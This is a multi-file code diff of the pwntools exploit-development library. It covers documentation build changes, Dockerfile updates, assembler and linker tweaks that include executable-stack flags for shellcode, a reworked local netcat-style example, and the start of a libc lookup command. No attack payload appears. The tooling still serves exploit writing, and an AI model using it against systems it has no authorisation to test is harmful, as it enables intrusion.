-def main(args):
-	"""Generate a Dash docset from Sphinx source files."""
-
-	srcdir = args.srcdir
-	dstdir = args.dstdir
-	name = args.name
-
-	if not os.path.exists(dstdir):
-		os.makedirs(dstdir)
-
-	# Generate HTML without indices.
-	sphinx.build_main([ "sphinx-build", "-b", "html", "-d", os.path.join(dstdir, "doctrees"), \
-		"-t", "dash", srcdir, os.path.join(dstdir, "html") ])
-
-	# Convert to docset.
-	try:
-		doc2dash.__main__.main.main( \
-			[ os.path.join(dstdir, "html"), "-d", dstdir, "-n", name, \
-					"-f", "-I", "index.html"], "doc2dash", False)
-	except SystemExit as e:
-		pass
-
-	# Insert a link to the online version.
-	online = args.online
-	if online is not None and online != "":
-		url = online.replace("@VERSION", args.version)
-		with open(os.path.join(dstdir, name+".docset", "Contents", "Info.plist"), "r+") as f_info:
-			pl = f_info.read()
-			pl = pl.replace("</dict>", \
-				"\t<key>DashDocSetFallbackURL</key>\n\t<string>%s</string>\n</dict>" % url)
-			f_info.seek(0)
-			f_info.write(pl)
-			f_info.truncate()
-
-	# Modify the CSS to hide the menu included in the HTML.
-	with open(os.path.join(dstdir, name+".docset", "Contents", "Resources", "Documents", "_static", "css", "theme.css"), "r+") as f_css:
-		css = f_css.read()
-		css = css.replace( \
-			'@media screen and (max-width: 768px){.wy-body-for-nav{background:#fcfcfc}.wy-nav-top{display:block}',\
-			'@media screen {.wy-body-for-nav{background:#fcfcfc}' )
-		css = css.replace( \
-			'@media screen and (max-width: 480px)', \
-			'@media screen ')
-		f_css.seek(0)
-		f_css.write(css)
-		f_css.truncate()
-
-	# Modify the index
-	db_conn = sqlite3.connect(os.path.join(dstdir, name+".docset", "Contents", "Resources", "docSet.dsidx"))
-	try:
-		db_conn.execute('INSERT INTO "searchIndex" ("name","type","path") VALUES ' \
-			'("1 Contents", "Guide", "index.html"), ' \
-			'("2 About pwntools", "Guide", "about.html"), ' \
-			'("3 Installation", "Guide", "install.html"), ' \
-			'("4 Getting Started", "Guide", "intro.html"), ' \
-			'("5 Globals (pwn)", "Guide", "globals.html"), ' \
-			'("6 Command Line Tools", "Guide", "commandline.html")')
-		db_conn.execute('DELETE FROM "searchIndex" WHERE "type" = "Module" AND ("name" = "pwn" OR "name" = "pwnlib")')
-		db_conn.commit()
-	finally:
-		db_conn.close()
-
-	return 0
-
-parser = argparse.ArgumentParser()
-parser.add_argument("--name", help="docset name", default="pwntools")
-parser.add_argument("--online", help="URL for online docs", default="https://pwntools.readthedocs.org/en/@VERSION/")
-parser.add_argument("--version", help="pwntools version", default=version.__version__)
-parser.add_argument("srcdir", help="Source directory containing .rst files")
-parser.add_argument("dstdir", help="Destination and working directory")
-
-main(parser.parse_args())

docs/requirements.txt

@@ -1,7 +1,9 @@
 capstone
-coveralls
+coverage[toml]
+python-dateutil
 doc2dash
 docutils<0.18
+intervaltree
 isort
 mako>=1.0.0
 paramiko>=1.15.2
@@ -10,9 +12,11 @@ pyelftools>=0.2.3
 pygments>=2.0
 pypandoc
 pyserial>=2.7
+pysocks
+psutil
 requests>=2.5.1
 ropgadget>=5.3
-sphinx<3.4
+sphinx==1.8.6; python_version<'3'
+sphinx>=4.5.0; python_version>='3'
 sphinx_rtd_theme
-sphinxcontrib-napoleon
 sphinxcontrib-autoprogram<=0.1.5

docs/source/conf.py

@@ -42,8 +42,8 @@ extensions = [
     'sphinx.ext.coverage',
     'sphinx.ext.todo',
     'sphinx.ext.intersphinx',
+    'sphinx.ext.napoleon',
     'sphinxcontrib.autoprogram',
-    'sphinxcontrib.napoleon'
 ]
 
 # Disable "info" logging directly to stdout by Sphinx
@@ -377,9 +377,10 @@ if build_dash:
     on_rtd = os.environ.get('READTHEDOCS', None) == 'True'
 
     if not on_rtd:  # only import and set the theme if we're building docs locally
-        import sphinx_rtd_theme
-        html_theme = 'sphinx_rtd_theme'
-        html_theme_path = [sphinx_rtd_theme.get_html_theme_path()]
+        import alabaster
+        html_theme = 'alabaster'
+        html_theme_path = [alabaster.get_path()]
+        html_theme_options = { 'nosidebar' : True }
 
     # otherwise, readthedocs.org uses their theme by default, so no need to specify it
 

docs/source/elf/elf.rst

@@ -3,6 +3,7 @@
    from pwn import *
    from glob import glob
    from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT
+   import shutil
 
 :mod:`pwnlib.elf.elf` --- ELF Files
 ===========================================================

docs/source/index.rst

@@ -13,7 +13,7 @@ readthedocs_. It comes in three primary flavors:
 - Dev_
 
 .. _readthedocs: https://readthedocs.org
-.. _docs.pwntools.com: https://docs.pwntools.com
+.. _docs.pwntools.com: https://docs.pwntools.com/en/latest
 .. _Stable: https://docs.pwntools.com/en/stable
 .. _Beta: https://docs.pwntools.com/en/beta
 .. _Dev: https://docs.pwntools.com/en/dev

docs/source/install/binutils.rst

@@ -5,7 +5,7 @@ Assembly of foreign architectures (e.g. assembling Sparc shellcode on
 Mac OS X) requires cross-compiled versions of ``binutils`` to be
 installed. We've made this process as smooth as we can.
 
-In these examples, replace ``$ARCH`` with your target architecture (e.g., arm, mips64, vax, etc.).
+In these examples, replace ``$ARCH`` with your target architecture (e.g., arm, aarch64, mips64, vax, etc.).
 
 Building `binutils` from source takes about 60 seconds on a modern 8-core machine.
 
@@ -33,7 +33,7 @@ Mac OS X
 
 Mac OS X is just as easy, but requires building binutils from source.
 However, we've made ``homebrew`` recipes to make this a single command.
-After installing `brew <http://brew.sh>`__, grab the appropriate
+After installing `brew <https://brew.sh>`__, grab the appropriate
 recipe from our `binutils
 repo <https://github.com/Gallopsled/pwntools-binutils/>`__.
 
@@ -51,10 +51,10 @@ OSes, ``binutils`` is simple to build by hand.
 
     #!/usr/bin/env bash
 
-    V=2.25   # Binutils Version
+    V=2.38   # Binutils Version
     ARCH=arm # Target architecture
 
-    cd /tmp
+    cd ${TMPDIR:-/tmp}
     wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz
     wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz.sig
 
@@ -70,7 +70,7 @@ OSes, ``binutils`` is simple to build by hand.
     export AS=as
 
     ../binutils-$V/configure \
-        --prefix=/usr/local \
+        --prefix=${PREFIX:-/usr/local} \
         --target=$ARCH-unknown-linux-gnu \
         --disable-static \
         --disable-multilib \

docs/source/rop/rop.rst

@@ -15,6 +15,7 @@
    from pwnlib.tubes.process import process
    from pwnlib import shellcraft
    from pwnlib.util.misc import which
+   import pwnlib.data
 
    context.clear()
 

docs/source/shellcraft/amd64.rst

@@ -17,3 +17,9 @@
 
 .. automodule:: pwnlib.shellcraft.amd64.linux
    :members:
+
+:mod:`pwnlib.shellcraft.amd64.windows`
+---------------------------------------
+
+.. automodule:: pwnlib.shellcraft.amd64.windows
+   :members:

examples/clean_and_log.py

@@ -11,18 +11,24 @@ Solution:
 """
 
 from pwn import *
+from multiprocessing import Process
 
-os.system('''((
-echo prefix sometext ;
-echo prefix someothertext ;
-echo here comes the flag ;
-echo LostInTheInterTubes
-) | nc -l 1337) &
-''')
+def submit_data():
+    with context.quiet:
+        with listen(1337) as io:
+            io.wait_for_connection()
+            io.sendline(b'prefix sometext')
+            io.sendline(b'prefix someothertext')
+            io.sendline(b'here comes the flag')
+            io.sendline(b'LostInTheInterTubes')
 
-r = remote('localhost', 1337)
-atexit.register(r.clean_and_log)
+if __name__ == '__main__':
+    p = Process(target=submit_data)
+    p.start()
 
-while True:
-    line = r.recvline()
-    print(re.findall(r'^prefix (\S+)$', line)[0])
+    r = remote('localhost', 1337)
+    atexit.register(r.clean_and_log)
+
+    while True:
+        line = r.recvline()
+        print(re.findall(br'^prefix (\S+)$', line)[0])

extra/docker/Makefile

@@ -1,4 +1,4 @@
-subdirs=$(shell find . -type d -depth 1 | xargs basename)
+subdirs=$(shell find . -mindepth 1 -maxdepth 1 -type d | xargs -n1 basename)
 tags=base stable beta dev
 ROOT=$(shell git rev-parse --show-toplevel)
 CMD ?= zsh
@@ -7,7 +7,7 @@ ifneq ($(HISTFILE),)
 MOUNT_HISTFILE=--mount type=bind,source="$(HISTFILE)",target=/home/pwntools/.history
 endif
 
-all: $(subdirs) $(tags)
+all: $(tags) $(subdirs)
 
 tags: $(tags)
 
@@ -36,4 +36,4 @@ clean:
 
 FORCE:
 
-.PHONY: all $(subdirs) $(makefiles) $(tags)
+.PHONY: all $(subdirs) $(makefiles) $(tags)

extra/docker/base/Dockerfile

@@ -3,28 +3,30 @@
 # Based on Ubuntu
 ############################################################
 
-FROM ubuntu:bionic
+FROM ubuntu:jammy
 MAINTAINER Maintainer Gallopsled et al.
 
-env DEBIAN_FRONTEND=noninteractive
 ENV LANG en_US.UTF-8
 ENV LANGUAGE en_US:en
 ENV LC_ALL en_US.UTF-8
 
+ARG DEBIAN_FRONTEND=noninteractive
 RUN apt-get update \
-    && apt-get install locales \
-    && locale-gen en_US.UTF-8 \
     && apt-get install -y \
+        sudo \
+        locales \
         build-essential \
+        elfutils \
         git \
         libssl-dev \
         libffi-dev \
-        python \
-        python-pip \
-        python-dev \
+        python2.7 \
+        python2.7-dev \
+        python2-pip-whl \
         python3 \
         python3-pip \
         python3-dev \
+        python-is-python3 \
         qemu-user-static \
         binutils-arm-linux-gnueabihf \
         binutils-aarch64-linux-gnu \
@@ -33,15 +35,17 @@ RUN apt-get update \
         binutils-powerpc-linux-gnu \
         binutils-powerpc64-linux-gnu \
         binutils-sparc64-linux-gnu \
+        binutils-riscv64-linux-gnu \
         tmux \
-    && pip install --upgrade pip \
-    && python -m pip install --upgrade pwntools \
-    && pip3 install --upgrade pip \
+        patchelf \
+    && locale-gen en_US.UTF-8 \
+    && update-locale LANG=en_US.UTF-8 \
+    && PYTHONPATH=`echo /usr/share/python-wheels/pip-*.whl` python2.7 -m pip install --upgrade pip setuptools wheel \
+    && python2.7 -m pip install --upgrade pwntools \
+    && python3 -m pip install --upgrade pip \
     && python3 -m pip install --upgrade pwntools \
     && PWNLIB_NOTERM=1 pwn update \
-    && apt-get install -y sudo \
     && useradd -m pwntools \
     && passwd --delete --unlock pwntools \
     && echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
 USER pwntools
-WORKDIR /home/pwntools

extra/docker/beta/Dockerfile

@@ -1,7 +1,7 @@
 FROM pwntools/pwntools:stable
 
 USER root
-RUN pip install --upgrade git+https://github.com/Gallopsled/pwntools@beta
-RUN pip3 install --upgrade git+https://github.com/Gallopsled/pwntools@beta
+RUN python2.7 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools@beta \
+    && python3 -m pip install --force-reinstall --upgrade git+https://github.com/Gallopsled/pwntools@beta
 RUN PWNLIB_NOTERM=1 pwn update
 USER pwntools

extra/docker/dev/Dockerfile

@@ -1,7 +1,7 @@
 FROM pwntools/pwntools:stable
 
 USER root
-RUN pip install --upgrade git+https://github.com/Gallopsled/pwntools@dev
-RUN pip3 install --upgrade git+https://github.com/Gallopsled/pwntools@dev
+RUN python2.7 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools@dev \
+    && python3 -m pip install --force-reinstall --upgrade git+https://github.com/Gallopsled/pwntools@dev
 RUN PWNLIB_NOTERM=1 pwn update
 USER pwntools

extra/docker/develop/Dockerfile

@@ -5,8 +5,8 @@ ENV HISTFILE=/home/pwntools/.history
 
 # Uninstall existing versions of pwntools
 USER root
-RUN python -m pip uninstall -q -y pwntools \
- && python3 -m pip uninstall -q -y pwntools
+RUN python2.7 -m pip uninstall -q -y pwntools \
+    && python3 -m pip uninstall -q -y pwntools
 
 # Switch back to the pwntools user from here forward
 USER pwntools
@@ -18,20 +18,23 @@ ENV PATH="/home/pwntools/.local/bin:${PATH}"
 
 # Install Pwntools to the home directory, make it an editable install
 RUN git clone https://github.com/Gallopsled/pwntools \
- && python  -m pip install --upgrade --editable pwntools \
+ && python2.7 -m pip install --upgrade --editable pwntools \
  && python3 -m pip install --upgrade --editable pwntools \
  && PWNLIB_NOTERM=1 pwn version
 
 # Requirements for running the tests
-RUN python  -m pip install --upgrade --requirement pwntools/docs/requirements.txt \
- && python3 -m pip install --upgrade --requirement pwntools/docs/requirements.txt
+RUN python2.7 -m pip install --upgrade --requirement pwntools/docs/requirements.txt \
+    && python3 -m pip install --upgrade --requirement pwntools/docs/requirements.txt
 
 # Python niceties for debugging
-RUN python  -m pip install -U ipython ipdb \
- && python3 -m pip install -U ipython ipdb
+RUN python2.7 -m pip install -U ipython ipdb \
+    && python3 -m pip install -U ipython ipdb
 
 # Dependencies from .travis.yml addons -> apt -> packages
-RUN sudo apt-get install -y \
+ARG DEBIAN_FRONTEND=noninteractive
+ENV TZ="UTC"
+RUN sudo apt-get update && sudo -E apt-get install -y \
+	tzdata \
 	ash \
 	bash \
 	bash-static \
@@ -41,7 +44,7 @@ RUN sudo apt-get install -y \
 	dash \
 	gcc \
 	gcc-multilib \
-	gdb \ 
+	gdb \
 	ksh \
 	lib32stdc++6 \
 	libc6-dev-i386 \
@@ -51,12 +54,9 @@ RUN sudo apt-get install -y \
 	socat \
 	sshpass \
 	vim \
-	zsh
-
+	zsh \
 # Misc useful things when developing
-RUN sudo apt-get install -y  \
 	curl \
-	ipython \
 	ipython3 \
 	lsb-release \
 	ssh \
@@ -64,7 +64,7 @@ RUN sudo apt-get install -y  \
 	wget
 
 # Use zsh by default
-RUN sudo chsh -s /bin/zsh pwntools
+RUN sudo -E chsh -s /bin/zsh pwntools
 
 # Get and install prezto
 RUN git clone --recursive https://github.com/sorin-ionescu/prezto.git .zprezto
@@ -83,4 +83,4 @@ ADD 10-import.py       /home/pwntools/.ipython/profile_default/startup
 ADD ipython_config.py  /home/pwntools/.ipython/profile_default
 
 # Do not require password for sudo
-RUN echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" | sudo tee /etc/sudoers.d/travis
+RUN echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" | sudo tee /etc/sudoers.d/travis

extra/docker/stable/Dockerfile

@@ -1,7 +1,7 @@
 FROM pwntools/pwntools:base
 
 USER root
-RUN pip install --upgrade git+https://github.com/Gallopsled/pwntools@stable
-RUN pip3 install --upgrade git+https://github.com/Gallopsled/pwntools@stable
+RUN python2.7 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools@stable \
+    && python3 -m pip install --force-reinstall --upgrade git+https://github.com/Gallopsled/pwntools@stable
 RUN PWNLIB_NOTERM=1 pwn update
 USER pwntools

pwn/toplevel.py

@@ -16,7 +16,6 @@ import tempfile
 import threading
 import time
 
-import colored_traceback
 from pprint import pprint
 
 import pwnlib
@@ -85,7 +84,12 @@ info    = log.info
 debug   = log.debug
 success = log.success
 
-colored_traceback.add_hook()
+try:
+    import colored_traceback
+except ImportError:
+    pass
+else:
+    colored_traceback.add_hook()
 
 # Equivalence with the default behavior of "from import *"
 # __all__ = [x for x in tuple(globals()) if not x.startswith('_')]

pwnlib/adb/adb.py

@@ -66,6 +66,7 @@ from pwnlib import tubes
 from pwnlib.context import LocalContext
 from pwnlib.context import context
 from pwnlib.device import Device
+from pwnlib.exception import PwnlibException
 from pwnlib.log import getLogger
 from pwnlib.protocols.adb import AdbClient
 from pwnlib.util.packing import _decode
@@ -122,7 +123,7 @@ def current_device(any=False):
 
         >>> device = adb.current_device(any=True)
         >>> device  # doctest: +ELLIPSIS
-        AdbDevice(serial='emulator-5554', type='device', port='emulator', product='sdk_...phone_armv7', model='sdk ...phone armv7', device='generic')
+        AdbDevice(serial='emulator-5554', type='device', port='emulator', product='sdk_...phone_...', model='...', device='generic...')
         >>> device.port
         'emulator'
     """
@@ -252,13 +253,13 @@ class AdbDevice(Device):
 
         >>> device = adb.wait_for_device()
         >>> device.arch
-        'arm'
+        'amd64'
         >>> device.bits
-        32
+        64
         >>> device.os
         'android'
         >>> device.product  # doctest: +ELLIPSIS
-        'sdk_...phone_armv7'
+        'sdk_...phone_...'
         >>> device.serial
         'emulator-5554'
     """
@@ -384,6 +385,9 @@ class AdbDevice(Device):
             >>> adb.getprop(property) == device.getprop(property)
             True
         """
+        if name.startswith('_'):
+            raise AttributeError(name)
+
         with context.local(device=self):
             g = globals()
 
@@ -1361,14 +1365,18 @@ def compile(source):
         >>> filename = adb.compile(temp)
         >>> sent = adb.push(filename, "/data/local/tmp")
         >>> adb.process(sent).recvall() # doctest: +ELLIPSIS
-        b'... /system/bin/linker\n...'
+        b'... /system/lib64/libc.so\n...'
     """
 
     ndk_build = misc.which('ndk-build')
     if not ndk_build:
         # Ensure that we can find the NDK.
-        ndk = os.environ.get('NDK', None)
-        if ndk is None:
+        for envvar in ('NDK', 'ANDROID_NDK', 'ANDROID_NDK_ROOT',
+                       'ANDROID_NDK_HOME', 'ANDROID_NDK_LATEST_HOME'):
+            ndk = os.environ.get(envvar)
+            if ndk is not None:
+                break
+        else:
             log.error('$NDK must be set to the Android NDK directory')
         ndk_build = os.path.join(ndk, 'ndk-build')
 
@@ -1483,8 +1491,9 @@ class Partitions(object):
     @context.quietfunc
     def by_name_dir(self):
         try:
-            return next(find('/dev/block/platform','by-name'))
-        except StopIteration:
+            with context.local(log_level=logging.FATAL):
+                return next(find('/dev/block/platform','by-name'))
+        except (StopIteration, PwnlibException):
             return '/dev/block'
 
     @context.quietfunc
@@ -1513,7 +1522,7 @@ class Partitions(object):
         return iter(names)
 
     def __getattr__(self, attr):
-        if attr.startswith("_"):
+        if attr.startswith('_'):
             raise AttributeError(attr)
 
         for name in self:
@@ -1584,7 +1593,10 @@ def uninstall(package, *arguments):
 @context.quietfunc
 def packages():
     """Returns a list of packages installed on the system"""
-    packages = process(['pm', 'list', 'packages']).recvall()
+    # Decodes the received bytes as UTF-8 per:
+    # https://developer.android.com/reference/java/nio/charset/Charset#defaultCharset()
+    # where it is specified that UTF-8 is the default charset for Android.
+    packages = process(['pm', 'list', 'packages']).recvall().decode('utf-8')
     return [line.split('package:', 1)[-1] for line in packages.splitlines()]
 
 @context.quietfunc

pwnlib/adb/bootimg.py

@@ -46,7 +46,7 @@ class BootImage(object):
         self.kernel = self.data[PAGE:PAGE+self.kernel_size]
 
     def __getattr__(self, name):
-        value = getattr(self.header, name, None)
-        if value is not None:
-            return value
-        return getattr(super(BootImage, self), name)
+        if name.startswith('_'):
+            raise AttributeError(name)
+
+        return getattr(self.header, name)

pwnlib/adb/bootloader.py

@@ -114,10 +114,11 @@ class BootloaderImage(object):
         return '\n'.join(rv)
 
     def __getattr__(self, name):
-        value = getattr(self.header, name, None)
-        if value is not None:
-            return value
-        return getattr(super(BootImage, self), name)
+        if name.startswith('_'):
+            raise AttributeError(name)
+
+        return getattr(self.header, name)
+
 
 if __name__ == '__main__':
     # Easy sanity checking

pwnlib/args.py

@@ -62,6 +62,8 @@ from pwnlib.context import context
 
 class PwnlibArgs(collections.defaultdict):
     def __getattr__(self, attr):
+        if attr.startswith('_'):
+            raise AttributeError(attr)
         return self[attr]
 
 args = PwnlibArgs(str)

pwnlib/asm.py

@@ -136,8 +136,23 @@ Try installing binutils for this architecture:
 %(instructions)s
 """.strip() % locals())
 
+
+def check_binutils_version(util):
+    if util_versions[util]:
+        return util_versions[util]
+    result = subprocess.check_output([util, '--version','/dev/null'],
+                                     stderr=subprocess.STDOUT, universal_newlines=True)
+    if 'clang' in result:
+        log.warn_once('Your binutils is clang-based and may not work!\n'
+            'Try installing with: https://docs.pwntools.com/en/stable/install/binutils.html\n'
+            'Reported version: %r', result.strip())
+    version = re.search(r' (\d+\.\d+)', result).group(1)
+    util_versions[util] = version = tuple(map(int, version.split('.')))
+    return version
+
+
 @LocalContext
-def which_binutils(util):
+def which_binutils(util, check_version=False):
     """
     Finds a binutils in the PATH somewhere.
     Expects that the utility is prefixed with the architecture name.
@@ -170,6 +185,8 @@ def which_binutils(util):
         'mips64': ['mips'],
         'powerpc64': ['powerpc'],
         'sparc64': ['sparc'],
+        'riscv32': ['riscv32', 'riscv64', 'riscv'],
+        'riscv64': ['riscv64', 'riscv32', 'riscv'],
     }.get(arch, [])
 
     # If one of the candidate architectures matches the native
@@ -204,17 +221,23 @@ def which_binutils(util):
 
             for pattern in patterns:
                 for dir in environ['PATH'].split(':'):
-                    res = sorted(glob(path.join(dir, pattern)))
-                    if res:
-                        return res[0]
+                    for res in sorted(glob(path.join(dir, pattern))):
+                        if check_version:
+                            ver = check_binutils_version(res)
+                            return res, ver
+                        return res
 
     # No dice!
     print_binutils_instructions(util, context)
 
-checked_assembler_version = defaultdict(lambda: False)
+util_versions = defaultdict(tuple)
 
 def _assembler():
-    gas = which_binutils('as')
+    gas, version = which_binutils('as', check_version=True)
+    if version < (2, 19):
+        log.warn_once('Your binutils version is too old and may not work!\n'
+            'Try updating with: https://docs.pwntools.com/en/stable/install/binutils.html\n'
+            'Reported version: %r', version)
 
     E = {
         'big':    '-EB',
@@ -241,30 +264,19 @@ def _assembler():
         'powerpc64': [gas, '-m%s' % context.endianness, '-mppc%s' % context.bits],
 
         # ia64 only accepts -mbe or -mle
-        'ia64':    [gas, '-m%ce' % context.endianness[0]]
+        'ia64':    [gas, '-m%ce' % context.endianness[0]],
+
+        # riscv64-unknown-elf-as supports riscv32 as well as riscv64
+        'riscv32': [gas, '-march=rv32gc', '-mabi=ilp32'],
+        'riscv64': [gas, '-march=rv64gc', '-mabi=lp64'],
     }
 
     assembler = assemblers.get(context.arch, [gas])
 
-    if not checked_assembler_version[gas]:
-        checked_assembler_version[gas] = True
-        result = subprocess.check_output([gas, '--version','/dev/null'],
-                                         stderr=subprocess.STDOUT, universal_newlines=True)
-        version = re.search(r' (\d+\.\d+)', result).group(1)
-        if 'clang' in result:
-            log.warn_once('Your binutils is clang version and may not work!\n'
-                'Try install with: https://docs.pwntools.com/en/stable/install/binutils.html\n'
-                'Reported Version: %r', result.strip())
-        elif version < '2.19':
-            log.warn_once('Your binutils version is too old and may not work!\n'
-                'Try updating with: https://docs.pwntools.com/en/stable/install/binutils.html\n'
-                'Reported Version: %r', result.strip())
-
-
     return assembler
 
 def _linker():
-    ld  = [which_binutils('ld')]
+    ld, _ = which_binutils('ld', check_version=True)
     bfd = ['--oformat=' + _bfdname()]
 
     E = {
@@ -276,7 +288,16 @@ def _linker():
         'i386': ['-m', 'elf_i386'],
     }.get(context.arch, [])
 
-    return ld + bfd + [E] + arguments
+    return [ld] + bfd + [E] + arguments
+
+
+def _execstack(linker):
+    ldflags = ['-z', 'execstack']
+    version = util_versions[linker[0]]
+    if version >= (2, 39):
+        return ldflags + ['--no-warn-execstack', '--no-warn-rwx-segments']
+    return ldflags
+
 
 def _objcopy():
     return [which_binutils('objcopy')]
@@ -305,20 +326,23 @@ def _arch_header():
     prefix  = ['.section .shellcode,"awx"',
                 '.global _start',
                 '.global __start',
-                '.p2align 2',
                 '_start:',
                 '__start:']
     headers = {
-        'i386'  :  ['.intel_syntax noprefix'],
-        'amd64' :  ['.intel_syntax noprefix'],
+        'i386'  :  ['.intel_syntax noprefix', '.p2align 0'],
+        'amd64' :  ['.intel_syntax noprefix', '.p2align 0'],
         'arm'   : ['.syntax unified',
                    '.arch armv7-a',
-                   '.arm'],
+                   '.arm',
+                   '.p2align 2'],
         'thumb' : ['.syntax unified',
                    '.arch armv7-a',
-                   '.thumb'],
+                   '.thumb',
+                   '.p2align 2'
+                   ],
         'mips'  : ['.set mips2',
                    '.set noreorder',
+                   '.p2align 2'
                    ],
     }
 
@@ -344,7 +368,8 @@ def _bfdname():
         'msp430'  : 'elf32-msp430',
         'powerpc' : 'elf32-powerpc',
         'powerpc64' : 'elf64-powerpc',
-        'riscv'   : 'elf%d-%sriscv' % (context.bits, E),
+        'riscv32' : 'elf%d-%sriscv' % (context.bits, E),
+        'riscv64' : 'elf%d-%sriscv' % (context.bits, E),
         'vax'     : 'elf32-vax',
         's390'    : 'elf%d-s390' % context.bits,
         'sparc'   : 'elf32-sparc',
@@ -367,6 +392,8 @@ def _bfdarch():
         'powerpc64': 'powerpc',
         'sparc64':   'sparc',
         'thumb':     'arm',
+        'riscv32':   'riscv',
+        'riscv64':   'riscv',
     }
 
     if arch in convert:
@@ -595,7 +622,7 @@ def make_elf(data,
 
         _run(assembler + ['-o', step2, step1])
 
-        linker_options = ['-z', 'execstack']
+        linker_options = _execstack(linker)
         if vma is not None:
             linker_options += ['--section-start=.shellcode=%#x' % vma,
                                '--entry=%#x' % vma]
@@ -689,7 +716,7 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
             shutil.copy(step2, step3)
 
         if vma or not extract:
-            ldflags = ['-z', 'execstack', '-o', step3, step2]
+            ldflags = _execstack(linker) + ['-o', step3, step2]
             if vma:
                 ldflags += ['--section-start=.shellcode=%#x' % vma,
                             '--entry=%#x' % vma]
@@ -771,7 +798,7 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
         >>> print(disasm(unhex('4ff00500'), arch = 'thumb', bits=32))
            0:   f04f 0005       mov.w   r0, #5
         >>> print(disasm(unhex('656664676665400F18A4000000000051'), byte=0, arch='amd64'))
-           0:   gs data16 fs data16 rex nop/reserved BYTE PTR gs:[eax+eax*1+0x0]
+           0:   gs data16 fs rex nop WORD PTR gs:[eax+eax*1+0x0]
            f:   push   rcx
         >>> print(disasm(unhex('01000000'), arch='sparc64'))
            0:   01 00 00 00     nop
@@ -779,6 +806,11 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
            0:   60 00 00 00     nop
         >>> print(disasm(unhex('00000000'), arch='mips64'))
            0:   00000000        nop
+        >>> print(disasm(unhex('48b84141414141414100c3'), arch='amd64'))
+           0:   48 b8 41 41 41 41 41 41 41 00   movabs rax, 0x41414141414141
+           a:   c3                      ret
+        >>> print(disasm(unhex('00000000'), vma=0x80000000, arch='mips'))
+        80000000:       00000000        nop
     """
     result = ''
 
@@ -790,7 +822,7 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
 
     bfdarch = _bfdarch()
     bfdname = _bfdname()
-    objdump = _objdump() + ['-d', '--adjust-vma', str(vma), '-b', bfdname]
+    objdump = _objdump() + ['-w', '-d', '--adjust-vma', str(vma), '-b', bfdname]
     objcopy = _objcopy() + [
         '-I', 'binary',
         '-O', bfdname,
@@ -815,7 +847,7 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
         _run(objcopy + [step1, step2])
 
         output0 = _run(objdump + [step2])
-        output1 = output0.split('<.text>:\n')
+        output1 = re.split(r'<\.text(?:\+0x0)?>:\n', output0, flags=re.MULTILINE)
 
         if len(output1) != 2:
             log.error('Could not find .text in objdump output:\n%s' % output0)

pwnlib/commandline/cyclic.py

@@ -72,13 +72,16 @@ def main(args):
 
         try:
             pat = int(pat, 0)
+            pat = pack(pat, 'all')
         except ValueError:
             pass
         pat = flat(pat, bytes=args.length)
 
-        if len(pat) != subsize:
-            log.critical('Subpattern must be %d bytes' % subsize)
+        if len(pat) < subsize:
+            log.critical('Subpattern must be at least %d bytes' % subsize)
             sys.exit(1)
+        else:
+            pat = pat[:subsize]
 
         if not all(c in alphabet for c in pat):
             log.critical('Pattern contains characters not present in the alphabet')

pwnlib/commandline/disasm.py

@@ -82,9 +82,9 @@ def main(args):
         instrs  = disasm(dat, vma=safeeval.const(args.address), byte=False, offset=False)
         # instrs  = highlight(instrs, PwntoolsLexer(), TerminalFormatter())
 
+        highlight_bytes = lambda t: ''.join(map(lambda x: x.replace('00', text.red('00')).replace('0a', text.red('0a')), group(2, t)))
         for o,b,i in zip(*map(str.splitlines, (offsets, bytes, instrs))):
-            b = b.replace('00', text.red('00'))
-            b = b.replace('0a', text.red('0a'))
+            b = ' '.join(highlight_bytes(bb) for bb in b.split(' '))
             i = highlight(i.strip(), PwntoolsLexer(), TerminalFormatter()).strip()
             i = i.replace(',',', ')
 

pwnlib/commandline/hex.py

@@ -7,6 +7,7 @@ import sys
 
 from pwnlib.commandline import common
 from pwnlib.util.fiddling import enhex
+from pwnlib.util.lists import group
 
 parser = common.parser_commands.add_parser(
     'hex',
@@ -16,14 +17,38 @@ parser = common.parser_commands.add_parser(
 parser.add_argument('data', nargs='*',
     help='Data to convert into hex')
 
+parser.add_argument(
+    '-p', '--prefix',
+    metavar = 'prefix',
+    type = str,
+    default = '',
+    help = 'Insert a prefix before each byte',
+)
+
+parser.add_argument(
+    '-s', '--separator',
+    metavar = 'separator',
+    type = str,
+    default = '',
+    help = 'Add a separator between each byte',
+)
+
+def format_hex(hex_string, prefix, separator):
+    return separator.join([prefix + x for x in group(2, hex_string)])
+
 def main(args):
     if not args.data:
-        print(enhex(getattr(sys.stdin, 'buffer', sys.stdin).read()))
+        encoded = enhex(getattr(sys.stdin, 'buffer', sys.stdin).read())
     else:
         data = ' '.join(args.data)
         if not hasattr(data, 'decode'):
             data = data.encode('utf-8', 'surrogateescape')
-        print(enhex(data))
+        encoded = enhex(data)
+
+    if args.prefix or args.separator:
+        encoded = format_hex(encoded, args.prefix, args.separator)
+
+    print(encoded)
 
 if __name__ == '__main__':
     common.main(__file__)

pwnlib/commandline/libcdb.py

@@ -0,0 +1,247 @@
+#!/usr/bin/env python
+from __future__ import absolute_import
+from __future__ import division
+from __future__ import print_function
+
+import re
+import shutil
+import sys
+
+import pwnlib.args
+pwnlib.args.free_form = False
+
+from pwn import *
+from pwnlib.commandline import common
+
+parser = common.parser_commands.add_parser(
+    'libcdb',
+    help = 'Print various information about a libc binary',
+    description = 'Print various information about a libc binary'
+)
+
+libc_commands = parser.add_subparsers(
+    dest = 'libc_command'
+)
+
+lookup_parser = libc_commands.add_parser(
+    'lookup',
+    help = 'Lookup a libc version by function offsets',
+    description = 'Lookup a libc version by function offsets'
+)
+
+lookup_parser.add_argument(
+    'symbol_offset_pairs',
+    metavar = 'symbol_offset_pairs',
+    nargs = '+',
